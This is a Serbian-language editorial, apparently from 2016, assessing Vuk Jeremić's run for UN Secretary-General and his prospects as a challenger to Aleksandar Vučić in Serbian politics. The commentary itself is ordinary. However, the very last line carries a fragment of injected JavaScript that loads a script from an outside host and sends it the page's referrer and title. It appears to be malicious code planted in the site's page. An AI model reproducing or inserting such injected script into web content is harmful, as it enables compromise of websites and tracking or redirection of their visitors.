UVODNIK, MILJUŠ: Koliko Vuk Jeremić može da dobaci na srpskoj političkoj sceni

Ako Jeremić zapljusnut istraživanjima koja mu govore da može da pobedi ipak odluči da pre toga definiše politiku i okupi ekipu, čak i po cenu da propusti predsedničke izbore, onda ćemo biti svedoci kreiranja jedne nove političke realnosti u kojoj će Vučić napokon dobiti rivala na političkoj sceni

Da li se sećate pesme „Ide Vuk" koju je još u drugoj polovini nesretnih devedesetih lansirao bend TAP 011? Bilo je to osveženje za sluh koji je neselektivno bombardovan zavijanjem turbo-folka, vladajuće muzičke idologija tog vremena. Trebalo bi dakle da je se setite. Baš kao što bi svi koji se bave politikom kako na međunarodnom nivou tako i u sopstvenom dvorištu treba da računaju na faktor Jeremić. Ako ni zbog čega drugog onda zbog empirijski utvrđene činjenice da pomenuti gospodim ima barem jedan život više od mačke koja onako uz put ima njih devet.

Zašto? Kako zašto. Pa zato što da Vam je neko onomad, nakon fijaska u međunarodnom sudu pravde (a on nije jedini Vukov fijasko) rekao da će Vuk Jeremić igrati jednu od najsloženijih globalnih političkih utakmica - utakmicu za generalnog sekretara UN, verovatno bi mislili da nije skroz normalan. A Vuk je igra. Igra je tako da je posle tri kruga glasanja iliti ocenjivanja kandidata još uvek živ i pride ima jedan od najstabilnija rejtinga među svim kandidatima.

Domaća čaršija već odavno „zna" da je Jeremić ruski čovek i da će oni (Rusi) gurati  njegovu kandidaturu. Realnost je malo drugačija. I mnogo kompleksnija. Naime, podršku našeg „velikog brata" ima bugarska levičarka i prva žena iz istočne Evrope na čelu UNESCA Irina Bokova

Domaća čaršija sklona doživljaju belosvetskih pitanja na način koji je Željko Mijanović nacrtao u filmu „Tri karte za Holivud" već je odavno „znala" da je Jeremić ruski čovek i da će oni (Rusi) gurati dok mogu njegovu kandidaturu. I da je neće izgurati....

Realnost je malo drugačija. I mnogo kompleksnija. Naime, podršku našeg „velikog brata" ima bugarska levičarka i prva žena iz istočne Evrope na čelu UNESCA Irina Bokova. I ma koliko dobro obavešteni diplomatski izvori šaputali o tome da Bokova predstavlja samo dobar potencijal za trgovinu ili da samo oponira argentinskoj ministarki spoljnih poslova i bivšem šefu kabineta Ban Ki Muna, Susan Malkori, ukoliko se bude insistiralo da po prvi put žena zauzme mesto generalnog sekretara UN, istina je da Rusi zajedno sa svojim malim i velikim saveznicima temeljno grade ovu kandidaturu.

Sa druge strane nalazi se anglosaksonski favorit - karijerni diplomata iz Slovačke Miroslav Lajčak. Dugo se spekulisalo da Amerikanci baš i nisu najsretniji sa delom Lajčekove biografije koji je vezan državni institut za međunarodno pravo u Moskvi, ali ukoliko se u UN ne bude kršio regionalni rotirajući princip po kome mesto generalnog sekretara pripada Istočnoj Evropi šanse slovačkog ministra za spoljne poslove i evropska pitanja su vrlo realne.

Ono što je neuobičajeno kada je nastup ove grupe zemalja u pitanju je za naglašena uzdržanost Velike Britanije vezanu za kandidaturu Vuka Jeremića. Nije nemoguće da je ovakav stav posledica pokušaja da se uspostave kvalitetno novi odnosi na relaciji London Beograd nakon Brexita i odlaska u političku penziju nekoliko političkih garnitura koja su otvorila vrata Dovning strita Terezi Mej. U tom kontekstu spominje se i pismo koja je predsednik Vlade Srbije Aleksandar Vučić uputio svom ličnom prijatelju Borisu Džonsonu, ministru spoljnih poslova Velike Britanije.

Ipak, i pored svih tih velikih igara na „tabeli" za sada vodi još jedan levičar, bivši premijer Portugala i čovek koji je deset godina bio na čelu Visokog Komeserijata za Izbeglice UN. Pasionirani kladioničari će sigurnu utvrditi opadajući trend podrške ovom 67 godišnjem veteranu međunarodne politike koji kroz 21 vek korača off-line jer nema ni FB ni twiter ni slične društvene mreže. Čak i kada bi se Antonio Gutiereš uprkos komunikacijskom hendikepu održao na čelu tabele i nakon još jednog neformalnog kruga glasanja, mala je verovatnoća da će se već pominjani regionalni kriterijum tako lako „zaboraviti" bez nekog velikog dogovora između onih koje zovu „major powers".

Da bi analiza "trke za Ban Ki Muna", kako proces izbora za generalnog sekretara UN žargonski zovu po Beogradu bila kompletna neophodno je analizirati i već pomenutog Vuka. Vuka Jeremića. Za sada njegovu kandidaturu zasnovanu na potrebi reforme UN snažno podržavaju Kina i Francuska što ipak nije nikakva garancija, posebno kada se uđe u proces trejding u kome šanse onih koji dolaze iz malih zemalja postaju sve manje. Ipak, Vuk Jeremić je standardni član kvinteta koji može da se nada uspehu. Baš kao što smo se onomad nadali da Teo, Bogdan i ekipa mogu da dobiju NBA zvezde.

Ono što je važnije za Vuka Jeremića od toga u kom trenutku će se veliki dogovoriti da im snažne UN i nisu baš neophodne jeste kakav će politički kapital on sa sobom doneti na političku pozornicu Srbije

Ali ono što je važnije za Vuka Jeremića od toga u kom trenutku će se veliki dogovoriti da im snažne UN i nisu baš neophodne (a reforme koje su u platformi za izbor novog generalnog sekretara UN koju je Jeremić sa svojim saradnicima definisao idu upravo u pravcu revitalizacije UN) jeste kakav će politički kapital on sa sobom doneti na političku pozornicu Srbije. Za sada on je priličan.

Njegovo povratak u igru samo nekoliko meseci pred predsedničke izbore koje je deo opozicije odmah nakon što je izgubio parlamentarne izbore proglasio najvažnijim izborima sigurno neće proći bez posledica na rezultat. Ali u kojoj meri će taj povratak biti opredeljujući za taj rezultat zavisi pre svega od samog Jeremića.

Krenimo redom. Sigurno je da u magli izgubljena opozicija koja trenutno igra igricu tražimo zajedničkog predsedničkog kandidata (vredno je u tom kontekstu setiti se ideje sa početka poslednjih parlamentarnih izbora o neophodnosti izlaska na izbore u tkz jednoj koloni i njenog fijaska) neće baš sa osmesima na licu dočekati nevaljalog sina koji je malo putovao po svetu i betonirao već jake međunarodne veze koje je uspostavio. Sujete, nerealne ambicije i neraščišćeni računi će nekadašnjeg školskog i političkog profesora, bivšeg stranačkog kolegu i tradicionalnog nacionalnog i ideološkog oponenta sprečiti da shvate da je jedini garant produžetka njihovog političkog života zaklanjanje iza nekog. Pa čak i ako je to mrski im Vuk Jeremić.

Pre će svi oni odlučiti da pričaju o principijelnim razlikama ili o činjenici da mu je podršku u pokušaju da postane to što je bio naumio u UN dala vlada Aleksandra Vučića i da oni preko te saradnje ne mogu da pređu. Sa druge strane čak i da sve progutaju i u cilju obezbeđenja produžetka sopstvenog političkog veka odluče da kažu i Jeremić je OK, teško mi je da zamislim šta bi im već iskusni Jeremić isporučio kao set uslova. Verujem da bi on bio pretežak čak i za grupu političkih očajnika na pet i kusur posto.

I tako ulazimo u vremensku oskudicu kada su na dnevnom redu dolazeći predsednički izbori. Oskudicu koja smanjuje Jeremićeve šanse da bez stranačke logistike na pravi način iskomunicira svoju kampanju sa glasačima. A bez toga i to će vam reći svako ko je radio kampanju u Srbiji, nema leba da pobedite političke teškaše iza čijih leđa stoji dugo građena stranačka infrastruktura. Međutim, siguran sam da i pored ovih saznanja i Tomislava Nikolića (ili nekog drugog SNS kandidat)baš kao i ostale pozicione kandidateIvicu Dačiću i/iliRasima Ljajiću ni malo ne oduševljava ideja o prisustvu Vuka Jeremića na listiću na kome bi građani trebali da zaokruže jedno od njihovih imena. I to za predsednika. U prilog takvom raspoloženju idu i sva do sada rađena istraživanja koja su se bazirala samo na mogućnosti učestvovanja Vuka Jeremića na predsedničkim izborima koju je on, btw, svaki put demantovao.

To rivalstvo bi moglo da bude blagorodno i po Srbiju i po Jeremića i po Vučića jer bi politiku vratilo politici a Vlast, ovu današnju i svaku buduću učinilo odgovornijom kako u procesu definisanja ciljeva tako i u procesu izbora ljudi koji treba daobezbede realizaciju proklamovanih ciljeva

Paradoksalno zvuči, ali upravo insistiranje na toj trci moglo bi Jeremića da košta svih nakupljenih kredita u nekoliko poslednjih godina u kome je bilo primetno odsustvo stava kada su dnevno političke tema na dnevnom redu sa jedne strane i prisustvojasno definisanih stavovakada su na tapetu bila najvažnija globalna dešavanja ili procesi današnjice (sve garnirano sa permanentnim prisustvom na najvažnijim političkim i ekonomskih međunarodnim samitima). Na ovaj način u javnosti je kreirana slika čoveka koji je u stalnoj komunikaciji sa svetom i koji razume svet oko nas. Svet bez kog ne možemo u sledeću fazu ekonomskog oporavka i razvoja društva. Ako Jeremić zapljusnut istraživanja koja mu govore da može i da pobedi ipak odluči da pre toga definiše politiku i okupi ekipu (a on je sposoban da obe stvari uradi brzo) čak i po cenu da propusti dolazeće predsedničke izbore onda ćemo biti svedoci kreiranja jedne nove političke realnosti u kojoj će Aleksandar Vučić napokon dobiti rivala na političkoj sceni.

To rivalstvo bi moglo da bude blagorodno i po Srbiju i po Jeremića i po Vučića jer bi politiku vratilo politici a Vlast, ovu današnju i svaku buduću učinilo odgovornijom kako u procesu definisanja ciljeva tako i u procesu izbora ljudi koji treba da obezbede realizaciju proklamovanih ciljeva i to na bazi društvenog konsenzusa a ne po direktivi.

I tako...ide Vuk, ide Vuk, oko sebe stvara muk, sada je samo jedan korak iza tebe.
Ide Vuk...

Pitanje je samo dokle će dobaciti.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';